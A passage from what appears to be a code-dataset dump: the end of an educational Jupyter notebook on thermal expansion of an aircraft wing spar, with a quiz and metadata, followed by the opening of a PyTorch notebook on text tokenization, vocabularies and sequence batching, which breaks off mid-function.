\u00b0C\" + chr(0x207B) + chr(0x00B9)\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nThe aircraft wing (from above) experiences temperature extremes that span 210 \u2103. The spar for the wing will have a length of 18.0 metres. Testing indicates that the aircraft wing will remain stable only if the spar never expands to a length larger than 18.103 metres. **If the component is made from the metal alloy in question, will it meet this requirement?**\n\n**Hint:** Use the sliders below to calculate the linear expansion of the spar.\n\n################ Widgets #################\napp_out = Output()\nstyle = {'description_width': 'initial'}\ntemp_span = IntSlider(continuous_update=False, wait=True, value=0, min=0, max=500, step=1, description=chr(0x0394) + 'T (\u00b0C)')\ninitialL_alloy = widgets.FloatSlider(continuous_update=False, wait=True, value=0, min=0, max=30, step=1, readout_format='.1f', description= 'L (m)', style=style)\nlinear_constant = widgets.FloatSlider(continuous_update=False, wait=True, value=0, min=0, max=10, step=0.1, readout_format='.1f', description= chr(0x03b1) + \" (1\" + chr(0x2A09) + \"10\" + chr(0x207B) + chr(0x2075) + \" , \" + chr(0x2103) + chr(0x207B) + chr(0x00B9) + \")\", style=style)\ncalc_change = widgets.Button(description=\"Calculate Linear Expansion\", layout=Layout(width='20%', height='88%'),button_style='success')\n\n############## Functions ################\ndef initial_spar():\n    layout = go.Layout(title = \"Unknown Alloy (before heat is applied)\", scene = dict(\n                    xaxis = dict(title='', range = [0,5],\n                         backgroundcolor=\"rgb(200, 200, 230)\",\n                         gridcolor=\"rgb(255, 255, 255)\",\n                         showbackground=True,\n                         zerolinecolor=\"rgb(255, 255, 255)\",\n                         showticklabels=False,),\n                    yaxis = dict(title='', range = [0,5],\n                        backgroundcolor=\"rgb(230, 200,230)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False),\n                    zaxis = dict(title='', range = [0,18],\n                        backgroundcolor=\"rgb(230, 230,200)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False,),),\n                  )\n    data = [go.Mesh3d(\n            x = [2, 2, 4, 4, 2, 2, 4, 4],\n            y = [2, 3, 3, 2, 2, 3, 3, 2],\n            z = [0, 0, 0, 0, 18, 18, 18, 18],\n            i = [7, 0, 0, 0, 4, 4, 6, 6, 4, 0, 3, 2],\n            j = [3, 4, 1, 2, 5, 6, 5, 2, 0, 1, 6, 3],\n            k = [0, 7, 2, 3, 6, 7, 1, 1, 5, 5, 7, 6],\n            name='Unknown Alloy',\n            color='#000066',\n            text = \"Spar (wing component; unknown alloy)\", hoverinfo='text',\n        )]\n    config={'showLink': False, 'editable': False}\n    fig = go.Figure(data=data, layout=layout)\n    iplot(fig, config=config)\n\n\ndef draw_spar(new, i_height):\n    clear_output(wait=True)\n    layout = go.Layout(title = chr(0x0394) + 'L (Unknown Alloy) = ' + str(round(new * 100 ,5)) + ' cm', scene = dict(\n                    xaxis = dict(title='', range = [0,5],\n                         backgroundcolor=\"rgb(200, 200, 230)\",\n                         gridcolor=\"rgb(255, 255, 255)\",\n                         showbackground=True,\n                         zerolinecolor=\"rgb(255, 255, 255)\",\n                         showticklabels=False,),\n                    yaxis = dict(title='', range = [0,5],\n                        backgroundcolor=\"rgb(230, 200,230)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False),\n                    zaxis = dict(title='', range = [0,18],\n                        backgroundcolor=\"rgb(230, 230,200)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False,),),\n                  )\n    data = [go.Mesh3d(\n            x = [2, 2, 4, 4, 2, 2, 4, 4],\n            y = [2, 3, 3, 2, 2, 3, 3, 2],\n            z = [0, 0, 0, 0, 18, 18, 18, 18],\n            i = [7, 0, 0, 0, 4, 4, 6, 6, 4, 0, 3, 2],\n            j = [3, 4, 1, 2, 5, 6, 5, 2, 0, 1, 6, 3],\n            k = [0, 7, 2, 3, 6, 7, 1, 1, 5, 5, 7, 6],\n            name='Unknown Alloy',\n            color='#000066',\n            text = \"Initial length (L) = \" + str(i_height) + ' m', hoverinfo='text',\n        ), go.Mesh3d(\n            x = [2, 2, 4, 4, 2, 2, 4, 4],\n            y = [2, 3, 3, 2, 2, 3, 3, 2],\n            z = [18, 18, 18, 18, 18+new, 18+new, 18+new, 18+new],\n            i = [7, 0, 0, 0, 4, 4, 6, 6, 4, 0, 3, 2],\n            j = [3, 4, 1, 2, 5, 6, 5, 2, 0, 1, 6, 3],\n            k = [0, 7, 2, 3, 6, 7, 1, 1, 5, 5, 7, 6],\n            name='Thermal Expansion',\n            color = \"#CC0000\",\n            text = \"Thermal Expansion (\"+chr(0x0394)+\"L) = \" + str(round(new,5)) + ' m', hoverinfo='text',\n        )]\n    config={'showLink': False, 'editable': False}\n    fig = go.Figure(data=data, layout=layout)\n    iplot(fig, config=config)\n\n\ndef on_submit_button_clicked(b):\n    alloy_change = temp_span.value * initialL_alloy.value * (linear_constant.value * 0.00001)\n    with app_out:\n        draw_spar(alloy_change, initialL_alloy.value)\n\n\n######### Display #########\ndisplay(VBox([temp_span, initialL_alloy, linear_constant]))\ndisplay(calc_change)\ndisplay(app_out)\n\nwith app_out:\n    initial_spar()\n    \ncalc_change.on_click(on_submit_button_clicked)\n\noption_1 = \"The final length of the spar is 18.10962 m; therefore, it fails the requirement.\"\noption_2 = \"The final length of the spar is 10.962 cm; therefore, it passes the requirement.\"\noption_3 = \"The final length of the spar is 18.103 m; therefore, it passes the requirement.\"\noption_4 = \"The final length of the spar is 28.962 m; therefore, it fails the requirement.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Conclusion\n\n- Thermal Linear Expansion is calculated using the formula: $\\Delta L = \\alpha L \\Delta T$.\n- The coefficient of linear expansion ($\\alpha$) is experimentally calculated. The experiment involves measuring $\\Delta L$ and solving for $\\alpha$ using the above formula.\n- If the material is known (such as steel, concrete, iron, etc.) you can reference the material's coefficient of linear expansion using a Table of Coefficient of Linear Expansion.\n- There are many applications to being able to predict thermal expansion, such as the building of bridges, skyscrapers, airplanes, cars, and piping (to name a few).\n- This notebook covered *linear* thermal expansion. If you are interested in applying what you have learned or gaining further knowledge of material science, you're next step is to study *area expansion* and *volume expansion*, which will explore the 2-dimensional and 3-dimensional expansion of materials.\n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "3557e1c99806fe9bb76a02037389e7280e854135", "size": 39726, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/ThermalExpansion/thermal-expansion.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/ThermalExpansion/thermal-expansion.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Science/ThermalExpansion/thermal-expansion.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 50.0327455919, "max_line_length": 545, "alphanum_fraction": 0.6530735538, "include": true, "reason": "import numpy", "num_tokens": 10887, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2782567937024021, "lm_q2_score": 0.19193278413614728, "lm_q1q2_score": 0.05340660112009961}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: 'Python 3.6.7 64-bit (''base'': conda)'\n#     name: python367jvsc74a57bd050da0f6fa72fb86d21724871d314354b884db45bd357078f1680189ca335f685\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/pyprobml/blob/master/notebooks/text_preproc_torch.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"Yn51eYujm5S1\"\n# # Text preprocessing\n#\n# We discuss how to convert a sequence of words or characters into numeric form, which can then be fed into an ML model.\n#\n#\n#\n\n# + id=\"ysx0t0REm4r0\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nnp.random.seed(seed=1)\nimport math\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch.utils import data\n\n# !mkdir figures # for saving plots\n\n\n# + id=\"V6Jbluorndzr\"\nimport collections\nimport re\nimport random\nimport os\nimport requests\nimport zipfile\nimport hashlib\n\n\n# +\n# Required functions for downloading data\n\ndef download(name, cache_dir=os.path.join('..', 'data')):\n    \"\"\"Download a file inserted into DATA_HUB, return the local filename.\"\"\"\n    assert name in DATA_HUB, f\"{name} does not exist in {DATA_HUB}.\"\n    url, sha1_hash = DATA_HUB[name]\n    os.makedirs(cache_dir, exist_ok=True)\n    fname = os.path.join(cache_dir, url.split('/')[-1])\n    if os.path.exists(fname):\n        sha1 = hashlib.sha1()\n        with open(fname, 'rb') as f:\n            while True:\n                data = f.read(1048576)\n                if not data:\n                    break\n                sha1.update(data)\n        if sha1.hexdigest() == sha1_hash:\n            return fname  # Hit cache\n    print(f'Downloading {fname} from {url}...')\n    r = requests.get(url, stream=True, verify=True)\n    with open(fname, 'wb') as f:\n        f.write(r.content)\n    return fname\n\ndef download_extract(name, folder=None):\n    \"\"\"Download and extract a zip/tar file.\"\"\"\n    fname = download(name)\n    base_dir = os.path.dirname(fname)\n    data_dir, ext = os.path.splitext(fname)\n    if ext == '.zip':\n        fp = zipfile.ZipFile(fname, 'r')\n    elif ext in ('.tar', '.gz'):\n        fp = tarfile.open(fname, 'r')\n    else:\n        assert False, 'Only zip/tar files can be extracted.'\n    fp.extractall(base_dir)\n    return os.path.join(base_dir, folder) if folder else data_dir\n\n\n# + [markdown] id=\"e9vbpUMwTRY1\"\n# # Basics\n#\n# This section is based on sec 8.2 of http://d2l.ai/chapter_recurrent-neural-networks/text-preprocessing.html\n#\n\n# + [markdown] id=\"RMrGxkRNnOx_\"\n# ## Data\n#\n# As a simple example, we use the book \"The Time Machine\" by H G Wells, since it is short (30k words) and public domain.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"D7OJT7o8nDQN\" outputId=\"2dd7e687-6b9a-48d2-ab49-e1bb5b64d41b\"\nDATA_HUB = dict()\nDATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'\n\nDATA_HUB['time_machine'] = (DATA_URL + 'timemachine.txt',\n                                '090b5e7e70c295757f55df93cb0a180b9691891a')\n\ndef read_time_machine():  \n    \"\"\"Load the time machine dataset into a list of text lines.\"\"\"\n    with open(download('time_machine'), 'r') as f:\n        lines = f.readlines()\n    return [re.sub('[^A-Za-z]+', ' ', line).strip().lower() for line in lines]\n\nlines = read_time_machine()\nprint(f'number of lines: {len(lines)}')\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"uCsuaurvnlK8\" outputId=\"8dcf484e-8f45-4748-cc93-c2a2ada427d2\"\nfor i in range(11):\n  print(i, lines[i])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"btVyl4dItGVT\" outputId=\"6b67aec4-4c26-43f7-ea6e-0c7fd1440f55\"\nnchars = 0\nnwords = 0\nfor i in range(len(lines)):\n  nchars += len(lines[i])\n  words = lines[i].split()\n  nwords += len(words)\nprint('total num characters ', nchars)\nprint('total num words ', nwords)\n\n\n# + [markdown] id=\"KKBbwDcKnwsA\"\n# ## Tokenization\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"X32lM-XvnxhC\" outputId=\"4783ff38-b282-4b0e-fc59-996f6ec0d6a6\"\ndef tokenize(lines, token='word'):  \n    \"\"\"Split text lines into word or character tokens.\"\"\"\n    if token == 'word':\n        return [line.split() for line in lines]\n    elif token == 'char':\n        return [list(line) for line in lines]\n    else:\n        print('ERROR: unknown token type: ' + token)\n\ntokens = tokenize(lines)\nfor i in range(11):\n    print(tokens[i])\n\n\n# + [markdown] id=\"X-Tbg9jjn8XN\"\n# ## Vocabulary\n#\n# We map each word to a unique integer id, sorted by decreasing frequency.\n# We reserve the special id of 0 for the \"unknown word\".\n# We also allow for a list of reserved tokens, such as \u201cpad\" for padding, \"bos\" to present the beginning for a sequence, and \u201ceos\u201d for the end of a sequence.\n#\n\n# + id=\"8ZOLrVNon9dk\"\nclass Vocab:  \n    \"\"\"Vocabulary for text.\"\"\"\n    def __init__(self, tokens=None, min_freq=0, reserved_tokens=None):\n        if tokens is None:\n            tokens = []\n        if reserved_tokens is None:\n            reserved_tokens = []\n        # Sort according to frequencies\n        counter = count_corpus(tokens)\n        self.token_freqs = sorted(counter.items(), key=lambda x: x[1],\n                                  reverse=True)\n        # The index for the unknown token is 0\n        self.unk, uniq_tokens = 0, ['<unk>'] + reserved_tokens\n        uniq_tokens += [\n            token for token, freq in self.token_freqs\n            if freq >= min_freq and token not in uniq_tokens]\n        self.idx_to_token, self.token_to_idx = [], dict()\n        for token in uniq_tokens:\n            self.idx_to_token.append(token)\n            self.token_to_idx[token] = len(self.idx_to_token) - 1\n\n    def __len__(self):\n        return len(self.idx_to_token)\n\n    def __getitem__(self, tokens):\n        if not isinstance(tokens, (list, tuple)):\n            return self.token_to_idx.get(tokens, self.unk)\n        return [self.__getitem__(token) for token in tokens]\n\n    def to_tokens(self, indices):\n        if not isinstance(indices, (list, tuple)):\n            return self.idx_to_token[indices]\n        return [self.idx_to_token[index] for index in indices]\n\ndef count_corpus(tokens):  \n    \"\"\"Count token frequencies.\"\"\"\n    # Here `tokens` is a 1D list or 2D list\n    if len(tokens) == 0 or isinstance(tokens[0], list):\n        # Flatten a list of token lists into a list of tokens\n        tokens = [token for line in tokens for token in line]\n    return collections.Counter(tokens)\n\n\n# + [markdown] id=\"CV0rTlaqoSNE\"\n# Here are the top 10 words (and their codes) in our corpus.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tYmbCwY6oUFB\" outputId=\"31a05a85-5113-4db8-aacf-f944f2c576f8\"\nvocab = Vocab(tokens)\nprint(list(vocab.token_to_idx.items())[:10])\n\n# + [markdown] id=\"sKXJQdbXoiqT\"\n# Here is a tokenization of a few sentences.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jd73-1zzoUWo\" outputId=\"f2e7dbda-4053-4773-d385-686f6c549144\"\nfor i in [0, 10]:\n    print('words:', tokens[i])\n    print('indices:', vocab[tokens[i]])\n\n\n# + [markdown] id=\"-6LsXchMop3u\"\n# ## Putting it altogether\n#\n# We tokenize the corpus at the character level, and return the sequence of integers, as well as the corresponding Vocab object.\n\n# + id=\"1BywQ9iUoq_D\"\ndef load_corpus_time_machine(max_tokens=-1): \n    \"\"\"Return token indices and the vocabulary of the time machine dataset.\"\"\"\n    lines = read_time_machine()\n    tokens = tokenize(lines, 'char')\n    vocab = Vocab(tokens)\n    # Since each text line in the time machine dataset is not necessarily a\n    # sentence or a paragraph, flatten all the text lines into a single list\n    corpus = [vocab[token] for line in tokens for token in line]\n    if max_tokens > 0:\n        corpus = corpus[:max_tokens]\n    return corpus, vocab\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"oQzX4Am8osdh\" outputId=\"53318718-5dba-4574-8f7d-3de538584c0d\"\ncorpus, vocab = load_corpus_time_machine()\nlen(corpus), len(vocab)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IgDxt_PRovAb\" outputId=\"7aaffeaa-0b08-4796-bce7-e3ef6fe9cc58\"\nprint(corpus[:20])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"egONc6CRowLa\" outputId=\"030047c5-7199-4000-9e0c-39ba75275fd6\"\nprint(list(vocab.token_to_idx.items())[:10])\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"9xKwPjAAozaX\" outputId=\"68c7959c-7bfe-42a1-f324-b9b4a1a90113\"\nprint([vocab.idx_to_token[i] for i in corpus[:20]])\n\n# + [markdown] id=\"X3fLUodCZebY\"\n# ## One-hot encodings\n#\n# We can convert a sequence of N integers into a N*V one-hot matrix, where V is the vocabulary size.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Qk21iCFhZj89\" outputId=\"b5323706-52f8-459b-b382-70acbf54ba26\"\nx = torch.tensor(corpus[:3])\nprint(x)\nX = F.one_hot(x, len(vocab))\nprint(X.shape)\nprint(X)\n\n\n# + [markdown] id=\"8vO99OOSuYhX\"\n# # Language modeling\n#\n# When fitting language models, we often need to chop up a long sequence into a set of short sequences, which may be overlapping, as shown below, where we extract subsequences of length $n=5$. \n#\n# <img src=\"https://github.com/probml/pyprobml/blob/master/images/timemachine-5gram.png?raw=true\">\n#\n# Below we show how to do this.\n#\n# This section is based on sec 8.3.4 of\n# http://d2l.ai/chapter_recurrent-neural-networks/language-models-and-dataset.html#reading-long-sequence-data\n#\n\n# + [markdown] id=\"Vert2-4qw5K7\"\n# ## Random ordering\n\n# + [markdown] id=\"_rARqDyZuvlu\"\n# To increase variety of the data, we can start the extraction at a random offset. We can thus create a random sequence data iterator, as follows.\n#\n\n# + id=\"meuw3vkjpL22\"\ndef seq_data_iter_random(corpus, batch_size, num_steps):  \n    \"\"\"Generate a minibatch of subsequences using random sampling.\"\"\"\n    # Start with a random offset (inclusive of `num_steps - 1`) to partition a\n    # sequence\n    corpus = corpus[random.randint(0, num_steps - 1):]\n    # Subtract 1 since we need to account for labels\n    num_subseqs = (len(corpus) - 1) // num_steps\n    # The starting indices for subsequences of length `num_steps`\n    initial_indices = list(range(0, num_subseqs * num_steps, num_steps))\n    # In random sampling, the subsequences from two adjacent random\n    # minibatches during iteration are not necessarily adjacent on the\n    # original sequence\n    random.shuffle(initial_indices)\n\n    def data(pos):\n        # Return a sequence of length `num_steps` starting from `pos`\n        return corpus[pos:pos + num_steps]\n\n    num_batches = num_subseqs // batch_size\n    for i in range(0, batch_size * num_batches, batch_size):\n        # Here, `initial_indices` contains randomized starting indices for\n        # subsequences\n        initial_indices_per_batch = initial_indices[i:i + batch_size]\n        X = [data(j) for j in initial_indices_per_batch]\n        Y = [data(j + 1) for j in initial_indices_per_batch]\n        yield torch.tensor(X), torch.tensor(Y)\n\n\n# + [markdown] id=\"71kdus7mvMFQ\"\n# For example, let us generate a sequence 0,1,..,34, and then extract subsequences of length 5. Each minibatch will have 2 such subsequences, starting at random offsets. There is no ordering between the subsequences, either within or across minibatches. There are $\\lfloor (35-1)/5 \\rfloor = 6$ such subsequences, so the iterator will generate 3 minibatches, each of size 2.\n#\n# For language modeling tasks, we define $X$ to be the first $n-1$ tokens, and $Y$ to be the $n$'th token, which is the one to be predicted.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"x8GXyqOgvOI7\" outputId=\"efc1667a-624e-461c-a72c-c9d8ac244f81\"\nmy_seq = list(range(35))\nb = 0\nfor X, Y in seq_data_iter_random(my_seq, batch_size=2, num_steps=5):\n    print('batch: ', b)\n    print('X: ', X, '\\nY:', Y)\n    b += 1\n\n\n# + [markdown] id=\"wdg490Gow7la\"\n# ## Sequential ordering\n\n# + [markdown] id=\"55ECVkQLwL8K\"\n# We can also require that the $i$'th subsequence in minibatch $b$ follows the $i$'th subsequence in minibatch $b-1$. This is useful when training RNNs, since when the model encounters batch $b$, the hidden state of the model will already be initialized by the last token in sequence $i$ of batch $b-1$.\n\n# + id=\"r3uVV7lYwCdv\"\ndef seq_data_iter_sequential(corpus, batch_size, num_steps):  \n    \"\"\"Generate a minibatch of subsequences using sequential partitioning.\"\"\"\n    # Start with a random offset to partition a sequence\n    offset = random.randint(0, num_steps)\n    num_tokens = ((len(corpus) - offset - 1) // batch_size) * batch_size\n    Xs = torch.tensor(corpus[offset:offset + num_tokens])\n    Ys = torch.tensor(corpus[offset + 1:offset + 1 + num_tokens])\n    Xs, Ys = Xs.reshape(batch_size, -1), Ys.reshape(batch_size, -1)\n    num_batches = Xs.shape[1] // num_steps\n    for i in range(0, num_steps * num_batches, num_steps):\n        X = Xs[:, i:i + num_steps]\n        Y = Ys[:, i:i + num_steps]\n        yield X, Y\n\n\n# + [markdown] id=\"KGRIkFvXwZX6\"\n# Below we give an example. We see that the first subsequence in batch 1\n# is [0,1,2,3,4], and the first subsequence in batch 2 is [5,6,7,8,9], as desired.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"aLQzm2qrwY0m\" outputId=\"27a0f0e7-46db-469c-dd1f-906b599be01d\"\nfor X, Y in seq_data_iter_sequential(my_seq, batch_size=2, num_steps=5):\n    print('X: ', X, '\\nY:', Y)\n\n\n# + [markdown] id=\"SP96EBA-w9MF\"\n# ## Data iterator\n# -\n\ndef load_corpus_time_machine(max_tokens=-1):\n    \"\"\"Return token indices and the vocabulary of the time machine dataset.\"\"\"\n    lines = read_time_machine()\n    tokens = tokenize(lines, 'char')\n    vocab = Vocab(tokens)\n    # Since each text line in the time machine dataset is not necessarily a\n    # sentence or a paragraph, flatten all the text lines into a single list\n    corpus = [vocab[token] for line in tokens for token in line]\n    if max_tokens > 0:\n        corpus = corpus[:max_tokens]\n    return corpus, vocab\n\n\n# + id=\"IpjIv8tMw-QD\"\nclass SeqDataLoader:  #@save\n    \"\"\"An iterator to load sequence data.\"\"\"\n    def __init__(self, batch_size, num_steps, use_random_iter, max_tokens):\n        if use_random_iter:\n            self.data_iter_fn = seq_data_iter_random\n        else:\n            self.data_iter_fn = seq_data_iter_sequential\n        self.corpus, self.vocab = load_corpus_time_machine(max_tokens)\n        self.batch_size, self.num_steps = batch_size, num_steps\n\n    def __iter__(self):\n        return self.data_iter_fn(self.corpus, self.batch_size, self.num_steps)\n\n\n# + id=\"pIy_YUk9w-0A\"\ndef load_data_time_machine(batch_size, num_steps,  #@save\n                           use_random_iter=False, max_tokens=10000):\n    \"\"\"Return the iterator and the vocabulary of the time machine dataset.\"\"\"\n    data_iter = SeqDataLoader(batch_size, num_steps, use_random_iter,\n                              max_tokens)\n    return data_iter, data_iter.vocab\n\n\n# + id=\"Y44o8-MkxA3t\"\ndata_iter, vocab = load_data_time_machine(2, 5)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sf-py0roxmAC\" outputId=\"66691d42-4905-4fe3-b906-8856e525665b\"\nprint(list(vocab.token_to_idx.items())[:10])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"6XhwWfMHxXTA\" outputId=\"a29066f2-d2e2-447c-d290-ea473ecc0ee1\"\nb = 0\nfor X, Y in data_iter:\n    print('batch: ', b)\n    print('X: ', X, '\\nY:', Y)\n    b += 1\n    if b > 2:\n      break\n\n# + [markdown] id=\"yDmK1xQ9T4IY\"\n# # Machine translation\n#\n# When dealing with sequence-to-sequence tasks, such as NMT, we need to create a vocabulary for the source and target language. In addition, the input and output sequences may have different lengths, so we need to use padding to ensure that we can create fixed-size minibatches. We show how to do this below.\n#\n# This is based on sec 9.5 of \n# http://d2l.ai/chapter_recurrent-modern/machine-translation-and-dataset.html\n#\n#\n#\n\n# + [markdown] id=\"gBUgcAcmUdCJ\"\n# ## Data\n#\n# We use an English-French dataset that consists of bilingual sentence pairs from the [Tatoeba Project](http://www.manythings.org/anki/). Each line in the dataset is a tab-delimited pair of an English text sequence (source) and the translated French text sequence (target).\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UnjXAtdYUUW8\" outputId=\"66c19d66-217b-43ef-9877-854ea32725d0\"\nDATA_HUB['fra-eng'] = (DATA_URL + 'fra-eng.zip',\n                           '94646ad1522d915e7b0f9296181140edcf86a4f5')\n\ndef read_data_nmt():\n    \"\"\"Load the English-French dataset.\"\"\"\n    data_dir = download_extract('fra-eng')\n    with open(os.path.join(data_dir, 'fra.txt'), 'r') as f:\n        return f.read()\n\nraw_text = read_data_nmt()\nprint(raw_text[:100])\n\n\n# + [markdown] id=\"sqZImjzDVMHa\"\n# ## Preprocessing\n#\n# We apply several preprocessing steps: we replace non-breaking space with space, convert uppercase letters to lowercase ones, and insert space between words and punctuation marks.\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"r5ZUH4ZaUquY\" outputId=\"316a660f-1d3a-45e4-ddb2-f97ed3128733\"\ndef preprocess_nmt(text):\n    \"\"\"Preprocess the English-French dataset.\"\"\"\n    def no_space(char, prev_char):\n        return char in set(',.!?') and prev_char != ' '\n\n    # Replace non-breaking space with space, and convert uppercase letters to\n    # lowercase ones\n    text = text.replace('\\u202f', ' ').replace('\\xa0', ' ').lower()\n    # Insert space between words and punctuation marks\n    out = [\n        ' ' + char if i > 0 and no_space(char, text[i - 1]) else char\n        for i, char in enumerate(text)]\n    return ''.join(out)\n\ntext = preprocess_nmt(raw_text)\nprint(text[:110])\n\n\n# + [markdown] id=\"yGChAGPjVgUn\"\n# We tokenize at the word level.  The following tokenize_nmt function tokenizes the the first `num_examples` text sequence pairs, where each token is either a word or a punctuation mark. \n\n# + id=\"PZ-iR79zVKM_\"\ndef tokenize_nmt(text, num_examples=None):\n    \"\"\"Tokenize the English-French dataset.\"\"\"\n    source, target = [], []\n    for i, line in enumerate(text.split('\\n')):\n        if num_examples and i > num_examples:\n            break\n        parts = line.split('\\t')\n        if len(parts) == 2:\n            source.append(parts[0].split(' '))\n            target.append(parts[1].split(' '))\n    return source, target\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"v282HIgRVfza\" outputId=\"12cafea1-eee6-43e9-ba8d-79c6ef5affc2\"\nsource, target = tokenize_nmt(text)\nsource[:10], target[:10]\n\n# + [markdown] id=\"LC8u2YndV6-P\"\n# ## Vocabulary\n#\n# We can make a source and target vocabulary. To avoid having too many unique tokens, we specify a minimum frequency of 2 - all others will get replaced by \"unk\". We also add special tags for padding, begin of sentence, and end of sentence.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"v9SrJQc3VtSn\" outputId=\"8b0e6cd5-890d-46c5-ce79-14f256ba63b3\"\nsrc_vocab = Vocab(source, min_freq=2,\n                      reserved_tokens=['<pad>', '<bos>', '<eos>'])\nlen(src_vocab)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"KPF2FthfV840\" outputId=\"f08bca8e-8564-411d-e58f-6e5b2e19f671\"\n# French has more high frequency words than English\ntarget_vocab = Vocab(target, min_freq=2,\n                      reserved_tokens=['<pad>', '<bos>', '<eos>'])\nlen(target_vocab)\n\n\n# + [markdown] id=\"d0DyArAtWcob\"\n# ## Truncation and padding\n#\n# To create minibatches of sequences, all of the same length, we truncate sentences that are too long, and pad ones that are too short.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"x2D62tczWP-2\" outputId=\"25ca1de2-97a6-4273-abbf-644a41562bb8\"\ndef truncate_pad(line, num_steps, padding_token):\n    \"\"\"Truncate or pad sequences.\"\"\"\n    if len(line) > num_steps:\n        return line[:num_steps]  # Truncate\n    return line + [padding_token] * (num_steps - len(line))  # Pad\n\nprint(truncate_pad(source[0], 10, 'pad'))\nprint(truncate_pad(src_vocab[source[0]], 10, src_vocab['<pad>']))\n\n\n# + id=\"RgyPxL6tWvJC\"\ndef build_array_nmt(lines, vocab, num_steps):\n    \"\"\"Transform text sequences of machine translation into minibatches.\"\"\"\n    lines = [vocab[l] for l in lines]\n    lines = [l + [vocab['<eos>']] for l in lines]\n    array = torch.tensor([\n        truncate_pad(l, num_steps, vocab['<pad>']) for l in lines])\n    valid_len = (array != vocab['<pad>']).type(torch.int32).sum(1)\n    return array, valid_len\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"SlwULfBwW9ma\" outputId=\"51eae96b-bfd0-4325-93ef-c98315abb6b0\"\nnum_steps = 10\nsrc_array, src_valid_len = build_array_nmt(source, src_vocab, num_steps)\nprint(src_array.shape)\nprint(src_valid_len.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"br6L3nDbXFHY\" outputId=\"e70924a1-6e71-49dc-b393-364feac92296\"\nprint(src_array[0,:]) # go, ., eos, pad, ..., pad\nprint(src_valid_len[0])\n\n\n# + [markdown] id=\"UyXmgFUvXVnA\"\n# ## Data iterator\n#\n# Below we combine all of the above pieces into a handy function.\n\n# + id=\"AkD1QMiJXKAP\"\ndef load_array(data_arrays, batch_size, is_train=True):\n    \"\"\"Construct a PyTorch data iterator.\"\"\"\n    dataset = data.TensorDataset(*data_arrays)\n    return data.DataLoader(dataset, batch_size, shuffle=is_train)\n    \ndef load_data_nmt(batch_size, num_steps, num_examples=600):\n    \"\"\"Return the iterator and the vocabularies of the translation dataset.\"\"\"\n    text = 